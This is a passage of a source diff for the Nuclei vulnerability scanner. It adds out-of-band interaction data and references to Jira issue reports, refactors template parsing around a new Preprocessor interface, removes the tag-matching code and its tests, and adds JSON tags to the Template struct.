 	}
 	builder.WriteString("\n*Request*\n\n{code}\n")
@@ -107,7 +128,7 @@ func jiraFormatDescription(event *output.ResultEvent) string {
 	builder.WriteString("\n{code}\n\n")
 
 	if len(event.ExtractedResults) > 0 || len(event.Metadata) > 0 {
-		builder.WriteString("*Extra Information*\n\n")
+		builder.WriteString("\n*Extra Information*\n\n")
 		if len(event.ExtractedResults) > 0 {
 			builder.WriteString("*Extracted results*:\n\n")
 			for _, v := range event.ExtractedResults {
@@ -129,6 +150,50 @@ func jiraFormatDescription(event *output.ResultEvent) string {
 			builder.WriteString("\n")
 		}
 	}
+	if event.Interaction != nil {
+		builder.WriteString("*Interaction Data*\n---\n")
+		builder.WriteString(event.Interaction.Protocol)
+		if event.Interaction.QType != "" {
+			builder.WriteString(" (")
+			builder.WriteString(event.Interaction.QType)
+			builder.WriteString(")")
+		}
+		builder.WriteString(" Interaction from ")
+		builder.WriteString(event.Interaction.RemoteAddress)
+		builder.WriteString(" at ")
+		builder.WriteString(event.Interaction.UniqueID)
+
+		if event.Interaction.RawRequest != "" {
+			builder.WriteString("\n\n*Interaction Request*\n\n{code}\n")
+			builder.WriteString(event.Interaction.RawRequest)
+			builder.WriteString("\n{code}\n")
+		}
+		if event.Interaction.RawResponse != "" {
+			builder.WriteString("\n*Interaction Response*\n\n{code}\n")
+			builder.WriteString(event.Interaction.RawResponse)
+			builder.WriteString("\n{code}\n")
+		}
+	}
+	if d, ok := event.Info["reference"]; ok {
+		builder.WriteString("\nReference: \n")
+
+		switch v := d.(type) {
+		case string:
+			if !strings.HasPrefix(v, "-") {
+				builder.WriteString("- ")
+			}
+			builder.WriteString(v)
+		case []interface{}:
+			slice := types.ToStringSlice(v)
+			for i, item := range slice {
+				builder.WriteString("- ")
+				builder.WriteString(item)
+				if len(slice)-1 != i {
+					builder.WriteString("\n")
+				}
+			}
+		}
+	}
 	builder.WriteString("\n---\nGenerated by [Nuclei|https://github.com/projectdiscovery/nuclei]")
 	data := builder.String()
 	return data

v2/pkg/templates/compile.go

@@ -12,14 +12,13 @@ import (
 	"github.com/projectdiscovery/nuclei/v2/pkg/protocols"
 	"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/executer"
 	"github.com/projectdiscovery/nuclei/v2/pkg/protocols/offlinehttp"
-	"github.com/projectdiscovery/nuclei/v2/pkg/types"
-	"github.com/projectdiscovery/nuclei/v2/pkg/workflows"
+	"github.com/projectdiscovery/nuclei/v2/pkg/workflows/compile"
 	"gopkg.in/yaml.v2"
 )
 
 // Parse parses a yaml request template file
 //nolint:gocritic // this cannot be passed by pointer
-func Parse(filePath string, options protocols.ExecuterOptions) (*Template, error) {
+func Parse(filePath string, preprocessor Preprocessor, options protocols.ExecuterOptions) (*Template, error) {
 	template := &Template{}
 
 	f, err := os.Open(filePath)
@@ -34,6 +33,10 @@ func Parse(filePath string, options protocols.ExecuterOptions) (*Template, error
 	}
 
 	data = template.expandPreprocessors(data)
+	if preprocessor != nil {
+		data = preprocessor.Process(data)
+	}
+
 	err = yaml.NewDecoder(bytes.NewReader(data)).Decode(template)
 	if err != nil {
 		return nil, err
@@ -45,22 +48,6 @@ func Parse(filePath string, options protocols.ExecuterOptions) (*Template, error
 	if _, ok := template.Info["author"]; !ok {
 		return nil, errors.New("no template author field provided")
 	}
-	templateTags, ok := template.Info["tags"]
-	if !ok {
-		templateTags = ""
-	}
-	matchWithTags := false
-	if len(options.Options.Tags) > 0 {
-		if err := matchTemplateWithTags(types.ToString(templateTags), types.ToString(template.Info["severity"]), options.Options.Tags); err != nil {
-			return nil, fmt.Errorf("tags filter not matched %s", templateTags)
-		}
-		matchWithTags = true
-	}
-	if len(options.Options.ExcludeTags) > 0 && !matchWithTags {
-		if err := matchTemplateWithTags(types.ToString(templateTags), types.ToString(template.Info["severity"]), options.Options.ExcludeTags); err == nil {
-			return nil, fmt.Errorf("exclude-tags filter matched %s", templateTags)
-		}
-	}
 
 	// Setting up variables regarding template metadata
 	options.TemplateID = template.ID
@@ -75,9 +62,12 @@ func Parse(filePath string, options protocols.ExecuterOptions) (*Template, error
 	// Compile the workflow request
 	if len(template.Workflows) > 0 {
 		compiled := &template.Workflow
-		if err := template.compileWorkflow(&options, compiled); err != nil {
-			return nil, errors.Wrap(err, "could not compile workflow")
+
+		loader, err := compile.NewLoader(&options)
+		if err != nil {
+			return nil, errors.Wrap(err, "could not create workflow loader")
 		}
+		compileWorkflow(preprocessor, &options, compiled, loader)
 		template.CompiledWorkflow = compiled
 		template.CompiledWorkflow.Options = &options
 	}
@@ -142,112 +132,6 @@ func Parse(filePath string, options protocols.ExecuterOptions) (*Template, error
 	if template.Executer == nil && template.CompiledWorkflow == nil {
 		return nil, errors.New("cannot create template executer")
 	}
+	template.Path = filePath
 	return template, nil
 }
-
-// compileWorkflow compiles the workflow for execution
-func (t *Template) compileWorkflow(options *protocols.ExecuterOptions, workflow *workflows.Workflow) error {
-	for _, workflow := range workflow.Workflows {
-		if err := t.parseWorkflow(workflow, options); err != nil {
-			return err
-		}
-	}
-	return nil
-}
-
-// parseWorkflow parses and compiles all templates in a workflow recursively
-func (t *Template) parseWorkflow(workflow *workflows.WorkflowTemplate, options *protocols.ExecuterOptions) error {
-	if err := t.parseWorkflowTemplate(workflow, options); err != nil {
-		return err
-	}
-	for _, subtemplates := range workflow.Subtemplates {
-		if err := t.parseWorkflow(subtemplates, options); err != nil {
-			return err
-		}
-	}
-	for _, matcher := range workflow.Matchers {
-		for _, subtemplates := range matcher.Subtemplates {
-			if err := t.parseWorkflow(subtemplates, options); err != nil {
-				return err
-			}
-		}
-	}
-	return nil
-}
-
-// parseWorkflowTemplate parses a workflow template creating an executer
-func (t *Template) parseWorkflowTemplate(workflow *workflows.WorkflowTemplate, options *protocols.ExecuterOptions) error {
-	paths, err := options.Catalog.GetTemplatePath(workflow.Template)
-	if err != nil {
-		return errors.Wrap(err, "could not get workflow template")
-	}
-	for _, path := range paths {
-		opts := protocols.ExecuterOptions{
-			Output:       options.Output,
-			Options:      options.Options,
-			Progress:     options.Progress,
-			Catalog:      options.Catalog,
-			RateLimiter:  options.RateLimiter,
-			IssuesClient: options.IssuesClient,
-			ProjectFile:  options.ProjectFile,
-		}
-		template, err := Parse(path, opts)
-		if err != nil {
-			return errors.Wrap(err, "could not parse workflow template")
-		}
-		if template.Executer == nil {
-			return errors.New("no executer found for template")
-		}
-		workflow.Executers = append(workflow.Executers, &workflows.ProtocolExecuterPair{
-			Executer: template.Executer,
-			Options:  options,
-		})
-	}
-	return nil
-}
-
-// matchTemplateWithTags matches if the template matches a tag
-func matchTemplateWithTags(tags, severity string, tagsInput []string) error {
-	actualTags := strings.Split(tags, ",")
-	if severity != "" {
-		actualTags = append(actualTags, severity) // also add severity to tag
-	}
-
-	matched := false
-mainLoop:
-	for _, t := range tagsInput {
-		commaTags := strings.Split(t, ",")
-		for _, tag := range commaTags {
-			tag = strings.TrimSpace(tag)
-			key, value := getKeyValue(tag)
-
-			for _, templTag := range actualTags {
-				templTag = strings.TrimSpace(templTag)
-				tKey, tValue := getKeyValue(templTag)
-
-				if strings.EqualFold(key, tKey) && strings.EqualFold(value, tValue) {
-					matched = true
-					break mainLoop
-				}
-			}
-		}
-	}
-	if !matched {
-		return errors.New("could not match template tags with input")
-	}
-	return nil
-}
-
-// getKeyValue returns key value pair for a data string
-func getKeyValue(data string) (key, value string) {
-	if strings.Contains(data, ":") {
-		parts := strings.SplitN(data, ":", 2)
-		if len(parts) == 2 {
-			key, value = parts[0], parts[1]
-		}
-	}
-	if value == "" {
-		value = data
-	}
-	return key, value
-}

v2/pkg/templates/compile_test.go

@@ -1,41 +0,0 @@
-package templates
-
-import (
-	"testing"
-
-	"github.com/stretchr/testify/require"
-)
-
-func TestMatchTemplateWithTags(t *testing.T) {
-	err := matchTemplateWithTags("php,linux,symfony", "", []string{"php"})
-	require.Nil(t, err, "could not get php tag from input slice")
-
-	err = matchTemplateWithTags("lang:php,os:linux,cms:symfony", "", []string{"cms:symfony"})
-	require.Nil(t, err, "could not get php tag from input key value")
-
-	err = matchTemplateWithTags("lang:php,os:linux,symfony", "", []string{"cms:symfony"})
-	require.NotNil(t, err, "could get key value tag from input key value")
-
-	err = matchTemplateWithTags("lang:php,os:linux,cms:jira", "", []string{"cms:symfony"})
-	require.NotNil(t, err, "could get key value tag from input key value")
-
-	t.Run("space", func(t *testing.T) {
-		err = matchTemplateWithTags("lang:php, os:linux, cms:symfony", "", []string{"cms:symfony"})
-		require.Nil(t, err, "could get key value tag from input key value with space")
-	})
-
-	t.Run("comma-tags", func(t *testing.T) {
-		err = matchTemplateWithTags("lang:php,os:linux,cms:symfony", "", []string{"test,cms:symfony"})
-		require.Nil(t, err, "could get key value tag from input key value with comma")
-	})
-
-	t.Run("severity", func(t *testing.T) {
-		err = matchTemplateWithTags("lang:php,os:linux,cms:symfony", "low", []string{"low"})
-		require.Nil(t, err, "could get key value tag for severity")
-	})
-
-	t.Run("blank-tags", func(t *testing.T) {
-		err = matchTemplateWithTags("", "low", []string{"jira"})
-		require.NotNil(t, err, "could get value tag for blank severity")
-	})
-}

v2/pkg/templates/preprocessors.go

@@ -8,6 +8,10 @@ import (
 	"github.com/segmentio/ksuid"
 )
 
+type Preprocessor interface {
+	Process(data []byte) []byte
+}
+
 var preprocessorRegex = regexp.MustCompile(`\{\{([a-z0-9_]+)\}\}`)
 
 // expandPreprocessors expands the pre-processors if any for a template data.

v2/pkg/templates/templates.go

@@ -17,22 +17,24 @@ type Template struct {
 	// Info contains information about the template
 	Info map[string]interface{} `yaml:"info"`
 	// RequestsHTTP contains the http request to make in the template
-	RequestsHTTP []*http.Request `yaml:"requests,omitempty"`
+	RequestsHTTP []*http.Request `yaml:"requests,omitempty" json:"requests"`
 	// RequestsDNS contains the dns request to make in the template
-	RequestsDNS []*dns.Request `yaml:"dns,omitempty"`
+	RequestsDNS []*dns.Request `yaml:"dns,omitempty" json:"dns"`
 	// RequestsFile contains the file request to make in the template
-	RequestsFile []*file.Request `yaml:"file,omitempty"`
+	RequestsFile []*file.Request `yaml:"file,omitempty" json:"file"`
 	// RequestsNetwork contains the network request to make in the template
-	RequestsNetwork []*network.Request `yaml:"network,omitempty"`
+	RequestsNetwork []*network.Request `yaml:"network,omitempty" json:"network"`
 	// RequestsHeadless contains the headless request to make in the template.
-	RequestsHeadless []*headless.Request `yaml:"headless,omitempty"`
+	RequestsHeadless []*headless.Request `yaml:"headless,omitempty" json:"headless"`
 
 	// Workflows is a yaml based workflow declaration code.
 	workflows.Workflow `yaml:",inline,omitempty"`
-	CompiledWorkflow   *workflows.Workflow `yaml:"-"`
+	CompiledWorkflow   *workflows.Workflow `yaml:"-" json:"-" jsonschema:"-"`
 
 	// TotalRequests is the total number of requests for the template.
-	TotalRequests int `yaml:"-"`
+	TotalRequests int `yaml:"-" json:"-"`
 	// Executer is the actual template executor for running template requests
-	Executer protocols.Executer `yaml:"-"`
+	Executer protocols.Executer `yaml:"-" json:"-"`
+
+	Path string `yaml:"-" json:"-"`
 }